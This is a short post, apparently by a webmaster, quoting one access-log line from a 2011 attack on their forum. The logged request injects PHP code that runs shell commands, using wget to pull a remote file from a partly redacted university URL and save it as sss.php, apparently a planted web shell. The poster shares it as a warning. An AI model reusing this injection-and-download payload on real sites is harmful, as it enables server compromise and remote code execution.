First of all, i'd like to point out it wasn't me. I am a webmaster that received an attack and i found this in my logs.
109.123.114.155 - - [04/Jul/2011:01:05:55 +0200] "GET /forums2/index.php?showuser=1&testKey=123&code=phpinfo();&e=print(`cd%20Skin;pwd;wget%20-O%20sss.php%20http://www.stanford.edu/-----/--------/-------/--------/as.txt;ls%20-la`); HTTP/1.1" 200 7106 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30"
I already contacted them. Anyway if you are in stanford university i suggest to change your password.